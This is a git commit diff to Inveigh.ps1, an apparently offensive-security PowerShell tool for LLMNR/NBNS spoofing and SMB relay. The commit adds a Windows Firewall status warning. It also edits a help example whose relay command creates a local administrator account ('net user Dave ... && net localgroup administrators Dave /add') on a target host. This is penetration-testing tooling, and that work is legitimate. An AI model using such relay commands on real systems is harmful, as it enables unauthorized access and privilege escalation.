diff options
author | Kevin Robertson <robertsonk@gmail.com> | 2016-08-02 21:47:26 -0400 |
---|---|---|
committer | Kevin Robertson <robertsonk@gmail.com> | 2016-08-02 21:47:37 -0400 |
commit | 747b0d1f2fff960e378776a3cdcc9fd857a387dc (patch) | |
tree | 097387f685648b4da5004d952109f7b5f288fbf7 /Scripts/Inveigh.ps1 | |
parent | 3dbc469024b856ef1a76157b4bf57e348a2474f2 (diff) | |
download | Inveigh-747b0d1f2fff960e378776a3cdcc9fd857a387dc.tar.gz Inveigh-747b0d1f2fff960e378776a3cdcc9fd857a387dc.zip |
Windows Firewall check and readme update
Added a warning for when the Windows Firewall is enabled. Added a note
about the June patches likely breaking features of
Invoke-InveighBruteForce.
Diffstat (limited to 'Scripts/Inveigh.ps1')
-rw-r--r-- | Scripts/Inveigh.ps1 | 16 |
1 files changed, 15 insertions, 1 deletions
diff --git a/Scripts/Inveigh.ps1 b/Scripts/Inveigh.ps1 index da0cf55..1e5ea3f 100644 --- a/Scripts/Inveigh.ps1 +++ b/Scripts/Inveigh.ps1 @@ -223,7 +223,7 @@ Invoke-Inveigh -HTTPResponse "<html><head><meta http-equiv='refresh' content='0; Execute specifying an HTTP redirect response. .EXAMPLE -Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" +Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2016 /add && net localgroup administrators Dave /add" Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. @@ -478,6 +478,14 @@ else # Write startup messages $inveigh.status_queue.Add("Inveigh started at $(Get-Date -format 's')") > $null $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh started")]) > $null + +$firewall_status = netsh advfirewall show allprofiles state | where {$_ -match 'ON'} + +if($firewall_status) +{ + $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null +} + $inveigh.status_queue.Add("Listening IP Address = $IP") > $null $inveigh.status_queue.Add("LLMNR/NBNS Spoofer IP Address = $SpooferIP") > $null @@ -785,6 +793,12 @@ if($SMBRelay -eq 'N') $inveigh.status_queue.RemoveRange(0,1) } + "Windows Firewall = Enabled" + { + Write-Warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + default { Write-Output($inveigh.status_queue[0]) |